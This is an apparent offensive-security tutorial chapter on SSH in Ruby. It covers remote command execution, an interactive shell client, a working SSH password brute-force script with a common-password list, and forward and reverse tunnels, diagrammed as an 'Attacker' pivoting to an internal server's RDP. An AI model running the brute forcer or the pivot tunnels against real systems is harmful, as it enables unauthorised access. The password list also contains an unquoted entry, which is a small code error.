SSH
Here we'll show some SSH using ruby. We'll need to install net-ssh gem for that.
- Install net-ssh gem
gem install net-ssh
Simple SSH command execution
This is a very basic SSH client which sends and executes commands on a remote system
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'net/ssh'
@hostname = "localhost"
@username = "root"
@password = "password"
@cmd = ARGV[0]
begin
ssh = Net::SSH.start(@hostname, @username, :password => @password)
res = ssh.exec!(@cmd)
ssh.close
puts res
rescue
puts "Unable to connect to #{@hostname} using #{@username}/#{@password}"
end
SSH Client with PTY shell
Here a simple SSH client which give you an interactive PTY
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'net/ssh'
@hostname = "localhost"
@username = "root"
@password = "password"
Net::SSH.start(@hostname, @username, :password => @password, :auth_methods => ["password"]) do |session|
# Open SSH channel
session.open_channel do |channel|
# Requests that a pseudo-tty (or "pty") for interactive application-like (e.g vim, sudo, etc)
channel.request_pty do |ch, success|
raise "Error requesting pty" unless success
# Request channel type shell
ch.send_channel_request("shell") do |ch, success|
raise "Error opening shell" unless success
STDOUT.puts "[+] Getting Remote Shell\n\n" if success
end
end
# Print STDERR of the remote host to my STDOUT
channel.on_extended_data do |ch, type, data|
STDOUT.puts "Error: #{data}\n"
end
# When data packets are received by the channel
channel.on_data do |ch, data|
STDOUT.print data
cmd = gets
channel.send_data( "#{cmd}" )
trap("INT") {STDOUT.puts "Use 'exit' or 'logout' command to exit the session"}
end
channel.on_eof do |ch|
puts "Exiting SSH Session.."
end
session.loop
end
end
SSH brute force
ssh-bf.rb
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
#
require 'net/ssh'
def attack_ssh(host, user, password, port=22, timeout = 5)
begin
Net::SSH.start(host, user, :password => password,
:auth_methods => ["password"], :port => port,
:paranoid => false, :non_interactive => true, :timeout => timeout ) do |session|
puts "Password Found: " + "#{host} | #{user}:#{password}"
end
rescue Net::SSH::ConnectionTimeout
puts "[!] The host '#{host}' not alive!"
rescue Net::SSH::Timeout
puts "[!] The host '#{host}' disconnected/timeouted unexpectedly!"
rescue Errno::ECONNREFUSED
puts "[!] Incorrect port #{port} for #{host}"
rescue Net::SSH::AuthenticationFailed
puts "Wrong Password: #{host} | #{user}:#{password}"
rescue Net::SSH::Authentication::DisallowedMethod
puts "[!] The host '#{host}' doesn't accept password authentication method."
end
end
hosts = ['192.168.0.1', '192.168.0.4', '192.168.0.50']
users = ['root', 'admin', 'rubyfu']
passs = ['admin1234', 'P@ssw0rd', '123456', 'AdminAdmin', 'secret', coffee]
hosts.each do |host|
users.each do |user|
passs.each do |password|
attack_ssh host, user, password
end end end
SSH Tunneling
Forward SSH Tunnel
|--------DMZ------|---Local Farm----|
| | |
|Attacker| ----SSH Tunnel---> | |SSH Server| <-RDP-> |Web server| |
| | |
|-----------------|-----------------|
Run ssh-ftunnel.rb on the SSH Server
ssh-ftunnel.rb
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'net/ssh'
Net::SSH.start("127.0.0.1", 'root', :password => '123132') do |ssh|
ssh.forward.local('0.0.0.0', 3333, "WebServer", 3389)
puts "[+] Starting SSH forward tunnel"
ssh.loop { true }
end
Now connect to the SSH Server on port 3333 via your RDP client, you'll be prompt for the WebServer's RDP log-in screen
rdesktop WebServer:3333
Reverse SSH Tunnel
|--------DMZ------|---Local Farm----|
| | |
|Attacker| <---SSH Tunnel---- | |SSH Server| <-RDP-> |Web server| |
| | | | |
`->-' |-----------------|-----------------|
Run ssh-rtunnel.rb on the SSH Server
ssh-rtunnel.rb
#!/usr/bin/env ruby
# KING SABRI | @KINGSABRI
require 'net/ssh'
Net::SSH.start("AttacerIP", 'attacker', :password => '123123') do |ssh|
ssh.forward.remote_to(3389, 'WebServer', 3333, '0.0.0.0')
puts "[+] Starting SSH reverse tunnel"
ssh.loop { true }
end
Now SSH from the SSH Server to localhost on the localhost's SSH port then connect from your localhost to your localhost on port 3333 via your RDP client, you'll be prompt for the WebServer's RDP log-in screen
rdesktop localhost:3333
Copy files via SSH (SCP)
To install scp gem
gem install net-scp
Upload file
require 'net/scp'
Net::SCP.upload!(
"SSHServer",
"root",
"/rubyfu/file.txt", "/root/",
#:recursive => true, # Uncomment for recursive
:ssh => { :password => "123123" }
)
- Download file
require 'net/scp'
Net::SCP.download!(
"SSHServer",
"root",
"/root/", "/rubyfu/file.txt",
#:recursive => true, # Uncomment for recursive
:ssh => { :password => "123123" }
)